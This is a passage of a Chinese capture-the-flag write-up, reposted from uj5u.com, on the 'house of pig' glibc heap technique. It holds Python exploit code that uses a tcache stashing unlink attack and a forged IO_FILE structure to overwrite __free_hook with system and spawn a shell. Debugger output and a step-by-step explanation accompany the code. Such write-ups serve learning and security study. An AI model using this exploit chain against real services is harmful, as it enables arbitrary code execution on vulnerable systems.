#A8原本是0x190的chunk,然后被切割為了0xf0和0xa0的chunk,由于uaf,edit A8可以直接修改到0xa0的smallbin的fd和bk
#tcache_stashing_unlink plus的利用條件就是在不修改fd的情況下將bk修改為目標地址-0x10,我們的目標地址是free_hook-0x10,因此要將bk修改為free_hook-0x20
Change(3)
payload = '\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, '\x00')
Add(0x440, payload) # C3 change fake FILE _chain
#io_list_all被覆寫為了0x440的largebin的地址,我們將這個largebin申請回來,在其中設定下一個chain,并在這個chain指向的chunk中偽造IO_FILE
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache
#觸發tcache_stashing_unlink_attack,將free_hook-0x10鏈入tcache中
IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
fake_IO_FILE = 2*p64(0) #根據我們前面分析的,fp->flag=0
fake_IO_FILE += p64(1) #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff
#滿足fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0) #v4 _IO_buf_base
fake_IO_FILE += p64(heap_base+0x148b8) #v5 _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable) #change vtable
payload = fake_IO_FILE + '/bin/sh\x00' + 2*p64(system_addr)
sa('Gift:', payload)
#使用角色三也就是daddy申請到C4時會有一個gift
Menu(5)
sla('user:\n', '')

在largebin中設定好chain
在使用角色三daddy申請到C4時會有一個gift

會額外申請一個0xf0的chunk,然后往其中讀入資料,并且是連續讀入

這個0xf0的chunk會從unsortedbin中切割

largebin中的chain指向的正是這個chunk,使用fp命令可以將這個地址作為一個IO_FILE結構體查看

根據io_str_overflow申請chunk的size計算規則
new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)
pwndbg> p/x 2*(0x55abc745a8b8-0x55abc745a8a0)+100
$2 = 0x94
根據malloc的申請規則,會申請0xa0的chunk,此時0xa0的tcache中的第一個chunk為free_hook-0x10

malloc申請完chunk后,如果_IO_buf_base指向的空間有資料的話就會將其中的資料拷貝到new_buf中,也就是free_hook-0x10,_IO_buf_base指向位置的資料為/bin/sh和system的地址,因此最侄訓將/bin/sh拷貝到free_hook-0x10,將system拷貝到free_hook-0x8和free_hook,最終呼叫free則會觸發system('/bin/sh')

而
house of pig的觸發條件就是呼叫_IO_flush_all_lockp的條件,即需要滿足如下三個之一:
- 當 libc 執行abort流程時,
- 程式顯式呼叫 exit ,
- 程式能通過主函式回傳,
這個程式里呼叫了很多exit,可以觸發house of pig
我們跟到io_str_overflow里看看執行程序

pwndbg> p/x new_size
$3 = 0x94
size和我們計算的一樣
呼叫malloc之前

呼叫malloc之后

free_hook已經被申請出去了
接下來開始memcpy


old_buf指向的的資料是/bin/sh
memcpy執行之后

隨后就是getshell
最后提一嘴,為什么要將chunk申請到free_hook-0x10而不是free_hook-0x8,是因為新版本的glibc對tcache增加了檢查,tcache申請的地址需要0x10對齊,這就是原因,
0x5.完結撒花
通過這題學到了很多,也復習鞏固了很多知識點,耐著性子進行除錯,硬著頭皮恢復了結構體,識訓滿滿,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297770.html
標籤:其他
